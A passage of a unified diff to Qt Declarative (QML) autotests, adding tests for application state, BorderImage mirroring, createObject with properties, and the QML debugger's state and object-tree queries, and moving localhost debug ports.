+#include <QtDeclarative/qdeclarativecomponent.h>
+#include <QtDeclarative/qdeclarativeengine.h>
+#include <QtDeclarative/qdeclarativeitem.h>
+#include <QtGui/qgraphicsview.h>
+#include <QtGui/qgraphicsscene.h>
+
+class tst_qdeclarativeapplication : public QObject
+{
+    Q_OBJECT
+public:
+    tst_qdeclarativeapplication();
+
+private slots:
+    void active();
+    void layoutDirection();
+
+private:
+    QDeclarativeEngine engine;
+};
+
+tst_qdeclarativeapplication::tst_qdeclarativeapplication()
+{
+}
+
+void tst_qdeclarativeapplication::active()
+{
+    QDeclarativeComponent component(&engine);
+    component.setData("import QtQuick 1.0; Item { property bool active: Qt.application.active }", QUrl::fromLocalFile(""));
+    QDeclarativeItem *item = qobject_cast<QDeclarativeItem *>(component.create());
+    QVERIFY(item);
+    QGraphicsScene scene;
+    QGraphicsView view(&scene);
+    scene.addItem(item);
+
+    // not active
+    QVERIFY(!item->property("active").toBool());
+    QCOMPARE(item->property("active").toBool(), QApplication::activeWindow() != 0);
+
+    // active
+    view.show();
+    QApplication::setActiveWindow(&view);
+    QTest::qWaitForWindowShown(&view);
+    QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(&view));
+    QCOMPARE(item->property("active").toBool(), QApplication::activeWindow() != 0);
+
+    // not active again
+    // on mac, setActiveWindow(0) on mac does not deactivate the current application
+    // (you have to switch to a different app or hide the current app to trigger this)
+#if !defined(Q_WS_MAC)
+    QApplication::setActiveWindow(0);
+    QVERIFY(!item->property("active").toBool());
+    QCOMPARE(item->property("active").toBool(), QApplication::activeWindow() != 0);
+#endif
+}
+
+void tst_qdeclarativeapplication::layoutDirection()
+{
+    QDeclarativeComponent component(&engine);
+    component.setData("import QtQuick 1.0; Item { property bool layoutDirection: Qt.application.layoutDirection }", QUrl::fromLocalFile(""));
+    QDeclarativeItem *item = qobject_cast<QDeclarativeItem *>(component.create());
+    QVERIFY(item);
+    QGraphicsScene scene;
+    QGraphicsView view(&scene);
+    scene.addItem(item);
+
+    // not mirrored
+    QCOMPARE(Qt::LayoutDirection(item->property("layoutDirection").toInt()), Qt::LeftToRight);
+
+    // mirrored
+    QApplication::setLayoutDirection(Qt::RightToLeft);
+    QCOMPARE(Qt::LayoutDirection(item->property("layoutDirection").toInt()), Qt::RightToLeft);
+
+    // not mirrored again
+    QApplication::setLayoutDirection(Qt::LeftToRight);
+    QCOMPARE(Qt::LayoutDirection(item->property("layoutDirection").toInt()), Qt::LeftToRight);
+}
+
+QTEST_MAIN(tst_qdeclarativeapplication)
+
+#include "tst_qdeclarativeapplication.moc"
diff --git a/tests/auto/declarative/qdeclarativeborderimage/data/heart200.png b/tests/auto/declarative/qdeclarativeborderimage/data/heart200.png
new file mode 100644
index 0000000..5a31ae8
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeborderimage/data/heart200.png
diff --git a/tests/auto/declarative/qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp b/tests/auto/declarative/qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp
index bc2f170..d85b92a 100644
--- a/tests/auto/declarative/qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp
+++ b/tests/auto/declarative/qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp
@@ -43,6 +43,8 @@
 #include <QTcpServer>
 #include <QTcpSocket>
 #include <QDir>
+#include <QGraphicsScene>
+#include <QPainter>
 
 #include <QtDeclarative/qdeclarativeengine.h>
 #include <QtDeclarative/qdeclarativecomponent.h>
@@ -77,12 +79,15 @@ private slots:
     void clearSource();
     void resized();
     void smooth();
+    void mirror();
     void tileModes();
     void sciSource();
     void sciSource_data();
     void invalidSciFile();
     void pendingRemoteRequest();
     void pendingRemoteRequest_data();
+    void testQtQuick11Attributes();
+    void testQtQuick11Attributes_data();
 
 private:
     QDeclarativeEngine engine;
@@ -153,6 +158,8 @@ void tst_qdeclarativeborderimage::imageSource()
         QTRY_VERIFY(obj->status() == QDeclarativeBorderImage::Ready);
         QCOMPARE(obj->width(), 120.);
         QCOMPARE(obj->height(), 120.);
+        QCOMPARE(obj->sourceSize().width(), 120);
+        QCOMPARE(obj->sourceSize().height(), 120);
         QCOMPARE(obj->horizontalTileMode(), QDeclarativeBorderImage::Stretch);
         QCOMPARE(obj->verticalTileMode(), QDeclarativeBorderImage::Stretch);
     } else {
@@ -192,6 +199,8 @@ void tst_qdeclarativeborderimage::resized()
     QVERIFY(obj != 0);
     QCOMPARE(obj->width(), 300.);
     QCOMPARE(obj->height(), 300.);
+    QCOMPARE(obj->sourceSize().width(), 120);
+    QCOMPARE(obj->sourceSize().height(), 120);
     QCOMPARE(obj->horizontalTileMode(), QDeclarativeBorderImage::Stretch);
     QCOMPARE(obj->verticalTileMode(), QDeclarativeBorderImage::Stretch);
 
@@ -214,6 +223,37 @@ void tst_qdeclarativeborderimage::smooth()
     delete obj;
 }
 
+void tst_qdeclarativeborderimage::mirror()
+{
+    QString componentStr = "import QtQuick 1.0\nBorderImage { source: \"" SRCDIR "/data/heart200.png\"; smooth: true; width: 300; height: 300; border { top: 50; right: 50; bottom: 50; left: 50 } }";
+    QDeclarativeComponent component(&engine);
+    component.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+    QDeclarativeBorderImage *obj = qobject_cast<QDeclarativeBorderImage*>(component.create());
+    QVERIFY(obj != 0);
+
+    int width = obj->property("width").toInt();
+    int height = obj->property("height").toInt();
+
+    QGraphicsScene scene;
+    scene.addItem(qobject_cast<QGraphicsObject *>(obj));
+    QPixmap screenshot(width, height);
+    screenshot.fill();
+    QPainter p_screenshot(&screenshot);
+    scene.render(&p_screenshot, QRect(0, 0, width, height), QRect(0, 0, width, height));
+
+    QTransform transform;
+    transform.translate(width, 0).scale(-1, 1.0);
+    QPixmap expected = screenshot.transformed(transform);
+
+    obj->setProperty("mirror", true);
+    p_screenshot.fillRect(QRect(0, 0, width, height), Qt::white);
+    scene.render(&p_screenshot, QRect(0, 0, width, height), QRect(0, 0, width, height));
+
+    QCOMPARE(screenshot, expected);
+
+    delete obj;
+}
+
 void tst_qdeclarativeborderimage::tileModes()
 {
     {
@@ -342,6 +382,45 @@ void tst_qdeclarativeborderimage::pendingRemoteRequest_data()
     QTest::newRow("sci file") << "http://localhost/none.sci";
 }
 
+void tst_qdeclarativeborderimage::testQtQuick11Attributes()
+{
+    QFETCH(QString, code);
+    QFETCH(QString, warning);
+    QFETCH(QString, error);
+
+    QDeclarativeEngine engine;
+    QObject *obj;
+
+    QDeclarativeComponent valid(&engine);
+    valid.setData("import QtQuick 1.1; BorderImage { " + code.toUtf8() + " }", QUrl(""));
+    obj = valid.create();
+    QVERIFY(obj);
+    QVERIFY(valid.errorString().isEmpty());
+    delete obj;
+
+    QDeclarativeComponent invalid(&engine);
+    invalid.setData("import QtQuick 1.0; BorderImage { " + code.toUtf8() + " }", QUrl(""));
+    QTest::ignoreMessage(QtWarningMsg, warning.toUtf8());
+    obj = invalid.create();
+    QCOMPARE(invalid.errorString(), error);
+    delete obj;
+}
+
+void tst_qdeclarativeborderimage::testQtQuick11Attributes_data()
+{
+    QTest::addColumn<QString>("code");
+    QTest::addColumn<QString>("warning");
+    QTest::addColumn<QString>("error");
+
+    QTest::newRow("mirror") << "mirror: true"
+        << "QDeclarativeComponent: Component is not ready"
+        << ":1 \"BorderImage.mirror\" is not available in QtQuick 1.0.\n";
+
+    QTest::newRow("cache") << "cache: true"
+        << "QDeclarativeComponent: Component is not ready"
+        << ":1 \"BorderImage.cache\" is not available in QtQuick 1.0.\n";
+}
+
 QTEST_MAIN(tst_qdeclarativeborderimage)
 
 #include "tst_qdeclarativeborderimage.moc"
diff --git a/tests/auto/declarative/qdeclarativecomponent/data/createObjectWithScript.qml b/tests/auto/declarative/qdeclarativecomponent/data/createObjectWithScript.qml
new file mode 100644
index 0000000..0da3bda
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativecomponent/data/createObjectWithScript.qml
@@ -0,0 +1,43 @@
+import QtQuick 1.0
+
+Item{
+    id: root
+    property QtObject declarativerectangle : null
+    property QtObject declarativeitem : null
+
+    property QtObject bindingTestObject : null
+    property QtObject bindingThisTestObject : null
+
+    Component{
+        id: a
+        Rectangle {
+            property Rectangle innerRect: Rectangle { border.width: 20 }
+        }
+    }
+    Component{
+        id: b
+        Item{
+            property bool testBool: false
+            property int testInt: null
+            property QtObject testObject: null
+        }
+    }
+
+    // test passing in bindings
+    width: 100
+    Component {
+        id: c
+        Item {
+            property int testValue
+            width: 300
+        }
+    }
+
+    Component.onCompleted: {
+        root.declarativerectangle = a.createObject(root, {"x":17,"y":17, "color":"white", "border.width":3, "innerRect.border.width": 20});
+        root.declarativeitem = b.createObject(root, {"x":17,"y":17,"testBool":true,"testInt":17,"testObject":root});
+
+        root.bindingTestObject = c.createObject(root, {'testValue': (function(){return width * 3}) })  // use root.width
+        root.bindingThisTestObject = c.createObject(root, {'testValue': (function(){return this.width * 3}) })  // use width of Item within 'c'
+    }
+}
diff --git a/tests/auto/declarative/qdeclarativecomponent/tst_qdeclarativecomponent.cpp b/tests/auto/declarative/qdeclarativecomponent/tst_qdeclarativecomponent.cpp
index 4db538e..4340fce 100644
--- a/tests/auto/declarative/qdeclarativecomponent/tst_qdeclarativecomponent.cpp
+++ b/tests/auto/declarative/qdeclarativecomponent/tst_qdeclarativecomponent.cpp
@@ -44,6 +44,9 @@
 #include <QtGui/qgraphicsitem.h>
 #include <QtDeclarative/qdeclarativeengine.h>
 #include <QtDeclarative/qdeclarativecomponent.h>
+#include <QtDeclarative/qdeclarativeitem.h>
+#include <QtDeclarative/qdeclarativeproperty.h>
+#include <qcolor.h>
 
 #ifdef Q_OS_SYMBIAN
 // In Symbian OS test data is located in applications private dir
@@ -60,6 +63,7 @@ private slots:
     void null();
     void loadEmptyUrl();
     void qmlCreateObject();
+    void qmlCreateObjectWithProperties();
 
 private:
     QDeclarativeEngine engine;
@@ -118,6 +122,52 @@ void tst_qdeclarativecomponent::qmlCreateObject()
     QCOMPARE(testObject3->metaObject()->className(), "QDeclarativeGraphicsWidget");
 }
 
+void tst_qdeclarativecomponent::qmlCreateObjectWithProperties()
+{
+    QDeclarativeEngine engine;
+    QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/createObjectWithScript.qml"));
+    QVERIFY2(component.errorString().isEmpty(), component.errorString().toUtf8());
+    QObject *object = component.create();
+    QVERIFY(object != 0);
+
+    QObject *testObject1 = object->property("declarativerectangle").value<QObject*>();
+    QVERIFY(testObject1);
+    QVERIFY(testObject1->parent() == object);
+    QCOMPARE(testObject1->property("x").value<int>(), 17);
+    QCOMPARE(testObject1->property("y").value<int>(), 17);
+    QCOMPARE(testObject1->property("color").value<QColor>(), QColor(255,255,255));
+    QCOMPARE(QDeclarativeProperty::read(testObject1,"border.width").toInt(), 3);
+    QCOMPARE(QDeclarativeProperty::read(testObject1,"innerRect.border.width").toInt(), 20);
+    delete testObject1;
+
+    QObject *testObject2 = object->property("declarativeitem").value<QObject*>();
+    QVERIFY(testObject2);
+    QVERIFY(testObject2->parent() == object);
+    //QCOMPARE(testObject2->metaObject()->className(), "QDeclarativeItem_QML_2");
+    QCOMPARE(testObject2->property("x").value<int>(), 17);
+    QCOMPARE(testObject2->property("y").value<int>(), 17);
+    QCOMPARE(testObject2->property("testBool").value<bool>(), true);
+    QCOMPARE(testObject2->property("testInt").value<int>(), 17);
+    QCOMPARE(testObject2->property("testObject").value<QObject*>(), object);
+    delete testObject2;
+
+    QObject *testBindingObj = object->property("bindingTestObject").value<QObject*>();
+    QVERIFY(testBindingObj);
+    QCOMPARE(testBindingObj->parent(), object);
+    QCOMPARE(testBindingObj->property("testValue").value<int>(), 300);
+    object->setProperty("width", 150);
+    QCOMPARE(testBindingObj->property("testValue").value<int>(), 150 * 3);
+    delete testBindingObj;
+
+    QObject *testBindingThisObj = object->property("bindingThisTestObject").value<QObject*>();
+    QVERIFY(testBindingThisObj);
+    QCOMPARE(testBindingThisObj->parent(), object);
+    QCOMPARE(testBindingThisObj->property("testValue").value<int>(), 900);
+    testBindingThisObj->setProperty("width", 200);
+    QCOMPARE(testBindingThisObj->property("testValue").value<int>(), 200 * 3);
+    delete testBindingThisObj;
+}
+
 QTEST_MAIN(tst_qdeclarativecomponent)
 
 #include "tst_qdeclarativecomponent.moc"
diff --git a/tests/auto/declarative/qdeclarativedebug/tst_qdeclarativedebug.cpp b/tests/auto/declarative/qdeclarativedebug/tst_qdeclarativedebug.cpp
index a807f35..6bcb4eb 100644
--- a/tests/auto/declarative/qdeclarativedebug/tst_qdeclarativedebug.cpp
+++ b/tests/auto/declarative/qdeclarativedebug/tst_qdeclarativedebug.cpp
@@ -72,7 +72,7 @@ class tst_QDeclarativeDebug : public QObject
     Q_OBJECT
 
 private:
-    QDeclarativeDebugObjectReference findRootObject(int context = 0);
+    QDeclarativeDebugObjectReference findRootObject(int context = 0, bool recursive = false);
     QDeclarativeDebugPropertyReference findProperty(const QList<QDeclarativeDebugPropertyReference> &props, const QString &name) const;
     void waitForQuery(QDeclarativeDebugQuery *query);
 
@@ -115,9 +115,11 @@ private slots:
 
     void setBindingForObject();
     void setMethodBody();
+    void queryObjectTree();
+    void setBindingInStates();
 };
 
-QDeclarativeDebugObjectReference tst_QDeclarativeDebug::findRootObject(int context)
+QDeclarativeDebugObjectReference tst_QDeclarativeDebug::findRootObject(int context, bool recursive)
 {
     QDeclarativeDebugEnginesQuery *q_engines = m_dbg->queryAvailableEngines(this);
     waitForQuery(q_engines);
@@ -129,7 +131,9 @@ QDeclarativeDebugObjectReference tst_QDeclarativeDebug::findRootObject(int conte
 
     if (q_context->rootContext().objects().count() == 0)
         return QDeclarativeDebugObjectReference();
-    QDeclarativeDebugObjectQuery *q_obj = m_dbg->queryObject(q_context->rootContext().objects()[context], this);
+    QDeclarativeDebugObjectQuery *q_obj = recursive ?
+                m_dbg->queryObjectRecursive(q_context->rootContext().objects()[context], this) :
+                m_dbg->queryObject(q_context->rootContext().objects()[context], this);
     waitForQuery(q_obj);
 
     QDeclarativeDebugObjectReference result = q_obj->object();
@@ -163,8 +167,8 @@ void tst_QDeclarativeDebug::recursiveObjectTest(QObject *o, const QDeclarativeDe
 {
     const QMetaObject *meta = o->metaObject();
 
-    QDeclarativeType *type = QDeclarativeMetaType::qmlType(o->metaObject());
-    QString className = type ? type->qmlTypeName() : QString();
+    QDeclarativeType *type = QDeclarativeMetaType::qmlType(meta);
+    QString className = type ? QString(type->qmlTypeName()) : QString(meta->className());
     className = className.mid(className.lastIndexOf(QLatin1Char('/'))+1);
 
     QCOMPARE(oref.debugId(), QDeclarativeDebugService::idForObject(o));
@@ -289,12 +293,21 @@ void tst_QDeclarativeDebug::initTestCase()
     QList<QByteArray> qml;
     qml << "import QtQuick 1.0\n"
             "Item {"
+                "id: root\n"
                 "width: 10; height: 20; scale: blueRect.scale;"
                 "Rectangle { id: blueRect; width: 500; height: 600; color: \"blue\"; }"
                 "Text { color: blueRect.color; }"
                 "MouseArea {"
                     "onEntered: { console.log('hello') }"
                 "}"
+                "property variant varObj\n"
+                "property variant varObjList: []\n"
+                "Component.onCompleted: {\n"
+                    "varObj = blueRect;\n"
+                    "var list = varObjList;\n"
+                    "list[0] = blueRect;\n"
+                    "varObjList = list;\n"
+                "}\n"
             "}";
 
     // add second component to test multiple root contexts
@@ -309,6 +322,34 @@ void tst_QDeclarativeDebug::initTestCase()
                 "function myMethodIndirect() { myMethod(3); }\n"
             "}";
 
+    // and a fourth to test states
+    qml << "import QtQuick 1.0\n"
+           "Rectangle {\n"
+                "id:rootRect\n"
+                "width:100\n"
+                "states: [\n"
+                    "State {\n"
+                        "name:\"state1\"\n"
+                        "PropertyChanges {\n"
+                            "target:rootRect\n"
+                            "width:200\n"
+                        "}\n"
+                    "}\n"
+                "]\n"
+                "transitions: [\n"
+                    "Transition {\n"
+                        "from:\"*\"\n"
+                        "to:\"state1\"\n"
+                        "PropertyAnimation {\n"
+                            "target:rootRect\n"
+                            "property:\"width\"\n"
+                            "duration:100\n"
+                        "}\n"
+                    "}\n"
+                "]\n"
+           "}\n"
+           ;
+
     for (int i=0; i<qml.count(); i++) {
         QDeclarativeComponent component(m_engine);
         component.setData(qml[i], QUrl::fromLocalFile(""));
@@ -636,14 +677,14 @@ void tst_QDeclarativeDebug::queryRootContexts()
     QCOMPARE(context.debugId(), QDeclarativeDebugService::idForObject(actualContext));
     QCOMPARE(context.name(), actualContext->objectName());
 
-    QCOMPARE(context.objects().count(), 3); // 3 qml component objects created for context in main()
+    QCOMPARE(context.objects().count(), 4); // 4 qml component objects created for context in main()
 
     // root context query sends only root object data - it doesn't fill in
     // the children or property info
     QCOMPARE(context.objects()[0].properties().count(), 0);
     QCOMPARE(context.objects()[0].children().count(), 0);
 
-    QCOMPARE(context.contexts().count(), 4);
+    QCOMPARE(context.contexts().count(), 5);
     QVERIFY(context.contexts()[0].debugId() >= 0);
     QCOMPARE(context.contexts()[0].name(), QString("tst_QDeclarativeDebug_childContext"));
 
@@ -710,7 +751,6 @@ void tst_QDeclarativeDebug::queryObject()
         QCOMPARE(findProperty(rect.properties(), "color").value(), qVariantFromValue(QColor("blue")));
 
         QCOMPARE(findProperty(text.properties(), "color").value(), qVariantFromValue(QColor("blue")));
-
     } else {
         foreach(const QDeclarativeDebugObjectReference &child, obj.children())
             QCOMPARE(child.properties().count(), 0);
@@ -767,6 +807,8 @@ void tst_QDeclarativeDebug::queryExpressionResult_data()
     QTest::newRow("width + 50") << "width + 50" << qVariantFromValue(60);
     QTest::newRow("blueRect.width") << "blueRect.width" << qVariantFromValue(500);
     QTest::newRow("bad expr") << "aeaef" << qVariantFromValue(QString("<undefined>"));
+    QTest::newRow("QObject*") << "varObj" << qVariantFromValue(QString("<unnamed object>"));
+    QTest::newRow("list of QObject*") << "varObjList" << qVariantFromValue(QString("<unknown value>"));
 }
 
 void tst_QDeclarativeDebug::tst_QDeclarativeDebugFileReference()
@@ -898,7 +940,6 @@ void tst_QDeclarativeDebug::tst_QDeclarativeDebugPropertyReference()
         compareProperties(r, ref);
 }
 
-
 void tst_QDeclarativeDebug::setBindingForObject()
 {
     QDeclarativeDebugObjectReference rootObject = findRootObject();
@@ -970,6 +1011,162 @@ void tst_QDeclarativeDebug::setBindingForObject()
     QCOMPARE(onEnteredRef.value(),  QVariant("{console.log('hello, world') }"));
 }
 
+void tst_QDeclarativeDebug::setBindingInStates()
+{
+    // Check if changing bindings of propertychanges works
+
+    const int sourceIndex = 3;
+
+    QDeclarativeDebugObjectReference obj = findRootObject(sourceIndex);
+
+    QVERIFY(obj.debugId() != -1);
+    QVERIFY(obj.children().count() >= 2);
+
+    // We are going to switch state a couple of times, we need to get rid of the transition before
+    QDeclarativeDebugExpressionQuery *q_deleteTransition = m_dbg->queryExpressionResult(obj.debugId(),QString("transitions = []"),this);
+    waitForQuery(q_deleteTransition);
+    delete q_deleteTransition;
+
+
+    // check initial value of the property that is changing
+    QDeclarativeDebugExpressionQuery *q_setState;
+    q_setState = m_dbg->queryExpressionResult(obj.debugId(),QString("state=\"state1\""),this);
+    waitForQuery(q_setState);
+    delete q_setState;
+
+    obj = findRootObject(sourceIndex);
+    QCOMPARE(findProperty(obj.properties(),"width").value().toInt(),200);
+
+
+    q_setState = m_dbg->queryExpressionResult(obj.debugId(),QString("state=\"\""),this);
+    waitForQuery(q_setState);
+    delete q_setState;
+
+
+    obj = findRootObject(sourceIndex, true);
+    QCOMPARE(findProperty(obj.properties(),"width").value().toInt(),100);
+
+
+    // change the binding
+    QDeclarativeDebugObjectReference state = obj.children()[0];
+    QCOMPARE(state.className(), QString("State"));
+    QVERIFY(state.children().count() > 0);
+
+    QDeclarativeDebugObjectReference propertyChange = state.children()[0];
+    QVERIFY(propertyChange.debugId() != -1);
+
+    QVERIFY( m_dbg->setBindingForObject(propertyChange.debugId(), "width",QVariant(300),true) );
+
+    // check properties changed in state
+    obj = findRootObject(sourceIndex);
+    QCOMPARE(findProperty(obj.properties(),"width").value().toInt(),100);
+
+
+    q_setState = m_dbg->queryExpressionResult(obj.debugId(),QString("state=\"state1\""),this);
+    waitForQuery(q_setState);
+    delete q_setState;
+
+    obj = findRootObject(sourceIndex);
+    QCOMPARE(findProperty(obj.properties(),"width").value().toInt(),300);
+
+    // check changing properties of base state from within a state
+    QVERIFY(m_dbg->setBindingForObject(obj.debugId(),"width","height*2",false));
+    QVERIFY(m_dbg->setBindingForObject(obj.debugId(),"height","200",true));
+
+    obj = findRootObject(sourceIndex);
+    QCOMPARE(findProperty(obj.properties(),"width").value().toInt(),300);
+
+    q_setState = m_dbg->queryExpressionResult(obj.debugId(),QString("state=\"\""),this);
+    waitForQuery(q_setState);
+    delete q_setState;
+
+    obj = findRootObject(sourceIndex);
+    QCOMPARE(findProperty(obj.properties(),"width").value().toInt(), 400);
+
+    //  reset binding while in a state
+    q_setState = m_dbg->queryExpressionResult(obj.debugId(),QString("state=\"state1\""),this);
+    waitForQuery(q_setState);
+    delete q_setState;
+
+    obj = findRootObject(sourceIndex);
+    QCOMPARE(findProperty(obj.properties(),"width").value().toInt(), 300);
+
+    m_dbg->resetBindingForObject(propertyChange.debugId(), "width");
+
+    obj = findRootObject(sourceIndex);
+    QCOMPARE(findProperty(obj.properties(),"width").value().toInt(), 400);
+
+    // re-add binding
+    m_dbg->setBindingForObject(propertyChange.debugId(), "width", "300", true);
+
+    obj = findRootObject(sourceIndex);
+    QCOMPARE(findProperty(obj.properties(),"width").value().toInt(), 300);
+}
+
+void tst_QDeclarativeDebug::queryObjectTree()
+{
+    const int sourceIndex = 3;
+
+    // Check if states/transitions are initialized when fetching root item
+    QDeclarativeDebugEnginesQuery *q_engines = m_dbg->queryAvailableEngines(this);
+    waitForQuery(q_engines);
+
+    QDeclarativeDebugRootContextQuery *q_context = m_dbg->queryRootContexts(q_engines->engines()[0].debugId(), this);
+    waitForQuery(q_context);
+
+    QVERIFY(q_context->rootContext().objects().count() > sourceIndex);
+    QDeclarativeDebugObjectReference rootObject = q_context->rootContext().objects()[sourceIndex];
+
+    QDeclarativeDebugObjectQuery *q_obj = m_dbg->queryObjectRecursive(rootObject, this);
+    waitForQuery(q_obj);
+
+    QDeclarativeDebugObjectReference obj = q_obj->object();
+
+    delete q_engines;
+    delete q_context;
+    delete q_obj;
+
+    QVERIFY(obj.debugId() != -1);
+    QVERIFY(obj.children().count() >= 2);
+
+
+
+    // check state
+    QDeclarativeDebugObjectReference state = obj.children()[0];
+    QCOMPARE(state.className(), QString("State"));
+    QVERIFY(state.children().count() > 0);
+
+    QDeclarativeDebugObjectReference propertyChange = state.children()[0];
+    QVERIFY(propertyChange.debugId() != -1);
+
+    QDeclarativeDebugPropertyReference propertyChangeTarget = findProperty(propertyChange.properties(),"target");
+    QCOMPARE(propertyChangeTarget.objectDebugId(), propertyChange.debugId());
+
+    QDeclarativeDebugObjectReference targetReference = qvariant_cast<QDeclarativeDebugObjectReference>(propertyChangeTarget.value());
+    QVERIFY(targetReference.debugId() != -1);
+
+
+
+    // check transition
+    QDeclarativeDebugObjectReference transition = obj.children()[1];
+    QCOMPARE(transition.className(), QString("Transition"));
+    QCOMPARE(findProperty(transition.properties(),"from").value().toString(), QString("*"));
+    QCOMPARE(findProperty(transition.properties(),"to").value(), findProperty(state.properties(),"name").value());
+    QVERIFY(transition.children().count() > 0);
+
+    QDeclarativeDebugObjectReference animation = transition.children()[0];
+    QVERIFY(animation.debugId() != -1);
+
+    QDeclarativeDebugPropertyReference animationTarget = findProperty(animation.properties(),"target");
+    QCOMPARE(animationTarget.objectDebugId(), animation.debugId());
+
+    targetReference = qvariant_cast<QDeclarativeDebugObjectReference>(animationTarget.value());
+    QVERIFY(targetReference.debugId() != -1);
+
+    QCOMPARE(findProperty(animation.properties(),"property").value().toString(), QString("width"));
+    QCOMPARE(findProperty(animation.properties(),"duration").value().toInt(), 100);
+}
+
 int main(int argc, char *argv[])
 {
     int _argc = argc + 1;
diff --git a/tests/auto/declarative/qdeclarativedebugclient/tst_qdeclarativedebugclient.cpp b/tests/auto/declarative/qdeclarativedebugclient/tst_qdeclarativedebugclient.cpp
index e3f0349..c182893 100644
--- a/tests/auto/declarative/qdeclarativedebugclient/tst_qdeclarativedebugclient.cpp
+++ b/tests/auto/declarative/qdeclarativedebugclient/tst_qdeclarativedebugclient.cpp
@@ -76,7 +76,7 @@ void tst_QDeclarativeDebugClient::initTestCase()
     QTest::ignoreMessage(QtWarningMsg, "Qml debugging is enabled. Only use this in a safe environment!");
     QDeclarativeDebugHelper::enableDebugging();
 
-    QTest::ignoreMessage(QtWarningMsg, "QDeclarativeDebugServer: Waiting for connection on port 3770...");
+    QTest::ignoreMessage(QtWarningMsg, "QDeclarativeDebugServer: Waiting for connection on port 13770...");
     new QDeclarativeEngine(this);
 
     m_conn = new QDeclarativeDebugConnection(this);
@@ -84,7 +84,7 @@ void tst_QDeclarativeDebugClient::initTestCase()
     QDeclarativeDebugTestClient client("tst_QDeclarativeDebugClient::handshake()", m_conn);
     QDeclarativeDebugTestService service("tst_QDeclarativeDebugClient::handshake()");
 
-    m_conn->connectToHost("127.0.0.1", 3770);
+    m_conn->connectToHost("127.0.0.1", 13770);
 
     QTest::ignoreMessage(QtWarningMsg, "QDeclarativeDebugServer: Connection established");
     bool ok = m_conn->waitForConnected();
@@ -149,7 +149,7 @@ int main(int argc, char *argv[])
     char **_argv = new char*[_argc];
     for (int i = 0; i < argc; ++i)
         _argv[i] = argv[i];
-    _argv[_argc - 1] = "-qmljsdebugger=port:3770";
+    _argv[_argc - 1] = "-qmljsdebugger=port:13770";
 
     QApplication app(_argc, _argv);
     tst_QDeclarativeDebugClient tc;
diff --git a/tests/auto/declarative/qdeclarativedebugservice/tst_qdeclarativedebugservice.cpp b/tests/auto/declarative/qdeclarativedebugservice/tst_qdeclarativedebugservice.cpp
index aacdea5..0911a83 100644
--- a/tests/auto/declarative/qdeclarativedebugservice/tst_qdeclarativedebugservice.cpp
+++ b/tests/auto/declarative/qdeclarativedebugservice/tst_qdeclarativedebugservice.cpp
@@ -79,11 +79,11 @@ void tst_QDeclarativeDebugService::initTestCase()
     QTest::ignoreMessage(QtWarningMsg, "Qml debugging is enabled. Only use this in a safe environment!");
     QDeclarativeDebugHelper::enableDebugging();
 
-    QTest::ignoreMessage(QtWarningMsg, "QDeclarativeDebugServer: Waiting for connection on port 3769...");
+    QTest::ignoreMessage(QtWarningMsg, "QDeclarativeDebugServer: Waiting for connection on port 13769...");
     new QDeclarativeEngine(this);
 
     m_conn = new QDeclarativeDebugConnection(this);
-    m_conn->connectToHost("127.0.0.1", 3769);
+    m_conn->connectToHost("127.0.0.1", 13769);
 
     QTest::ignoreMessage(QtWarningMsg, "QDeclarativeDebugServer: Connection established");
     bool ok = m_conn->waitForConnected();
@@ -133,6 +133,10 @@ void tst_QDeclarativeDebugService::sendMessage()
     client.sendMessage(msg);
     QByteArray resp = client.waitForResponse();
     QCOMPARE(resp, msg);
+
+    QTest::ignoreMessage(QtWarningMsg, "QDeclarativeDebugService: Conflicting plugin name \"tst_QDeclarativeDebugService::sendMessage()\" ");
+    QDeclarativeDebugService duplicate("tst_QDeclarativeDebugService::sendMessage()");
+    duplicate.sendMessage("msg");
 }
 
 void tst_QDeclarativeDebugService::idForObject()
@@ -189,7 +193,7 @@ int main(int argc, char *argv[])
     char **_argv = new char*[_argc];
     for (int i = 0; i < argc; ++i)
         _argv[i] = argv[i];
-    _argv[_argc - 1] = "-qmljsdebugger=port:3769";
+    _argv[_argc - 1] = "-qmljsdebugger=port:13769";
 
     QApplication app(_argc, _argv);
     tst_QDeclarativeDebugService tc;
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/functionAssignment.2.qml b/tests/auto/declarative/qdeclarativeecmascript/data/functionAssignment.2.qml
index 948b39c..c8c926a 100644
--- a/tests/auto/declarative/qdeclarativeecmascript/data/functionAssignment.2.qml
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/functionAssignment.2.qml
@@ -1,13 +1,73 @@
 import Qt.test 1.0
+import QtQuick 1.0
+
+import "functionAssignment.js" as Script
 
 MyQmlObject {
     property variant a
-    property bool runTest: false
-    onRunTestChanged: {
+    property int aNumber: 10
+
+    property bool assignToProperty: false
+    property bool assignToPropertyFromJsFile: false
+
+    property bool assignWithThis: false
+    property bool assignWithThisFromJsFile: false
+
+    property bool assignToValueType: false
+
+    property bool assignFuncWithoutReturn: false
+    property bool assignWrongType: false
+    property bool assignWrongTypeToValueType: false
+
+
+    onAssignToPropertyChanged: {
+        function myFunction() {
+            return aNumber * 10;
+        }
+        a = myFunction;
+    }
+
+    property QtObject obj: QtObject {
+        property int aNumber: 4212
+        function myFunction() {
+            return this.aNumber * 10;   // should use the aNumber from root, not this object
+        }
+    }
+    onAssignWithThisChanged: {
+        a = obj.myFunction;
+    }
+
+    onAssignToPropertyFromJsFileChanged: {
+        Script.bindPropertyWithThis()
+    }
+
+    onAssignWithThisFromJsFileChanged: {
+        Script.bindProperty()
+    }
+
+    property Text text: Text { }
+    onAssignToValueTypeChanged: {
+        text.font.pixelSize = (function() { return aNumber * 10; })
+        a = (function() { return text.font.pixelSize; })
+    }
+
+
+    // detecting errors:
+
+    onAssignFuncWithoutReturnChanged: {
         function myFunction() {
-            console.log("hello world");
         }
         a = myFunction;
     }
 
+    onAssignWrongTypeChanged: {
+        function myFunction() {
+            return 'a string';
+        }
+        aNumber = myFunction;
+    }
+
+    onAssignWrongTypeToValueTypeChanged: {
+        text.font.pixelSize = (function() { return 'a string'; })
+    }
 }
